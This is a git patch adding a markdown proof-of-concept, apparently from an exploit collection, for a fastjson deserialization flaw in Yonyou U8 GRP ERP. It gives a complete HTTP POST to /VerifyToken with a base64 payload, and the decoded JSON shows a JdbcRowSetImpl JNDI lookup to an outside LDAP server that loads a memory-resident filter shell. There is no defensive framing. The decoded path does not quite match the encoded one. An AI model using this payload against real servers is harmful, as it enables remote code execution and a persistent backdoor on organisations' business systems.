From 541caace406103fe459e959e8cb6923a3d4549a6 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Fri, 19 Apr 2024 22:05:22 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BU8GRP-fastjson?=
 =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 用友U8GRP-fastjson漏洞.md | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)
 create mode 100644 用友U8GRP-fastjson漏洞.md

diff --git a/用友U8GRP-fastjson漏洞.md b/用友U8GRP-fastjson漏洞.md
new file mode 100644
index 0000000..33ff1a8
--- /dev/null
+++ b/用友U8GRP-fastjson漏洞.md
@@ -0,0 +1,24 @@
+## 用友U8GRP-fastjson
+
+
+## poc
+```
+POST /VerifyToken HTTP/1.1
+Host: xxx
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 322
+
+PARAM=eyJuYW1lIjp7IkB0eXBlIjoiamF2YS5sYW5nLkNsYXNzIiwidmFsIjoiY29tLnN1bi5yb3dzZXQuSmRiY1Jvd1NldEltcGwifSwieCI6eyJAdHlwZSI6ImNvbS5zdW4ucm93c2V0LkpkYmNSb3dTZXRJbXBsIiwiZGF0YVNvdXJjZU5hbWUiOiJsZGFwOi8veHh4eHg6MTM4OS9EZXNlcmlhbGl6YXRpb24vZmFzdGpzb24xL215dG9tY2F0bWVtZmlsdGVyc2hlbGwiLCJhdXRvQ29tbWl0Ijp0cnVlfX0=
+```
+
+base64内容
+```
+{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxxx:1389/Deserialization/fastjson1/filtershell","autoCommit":true}}
+```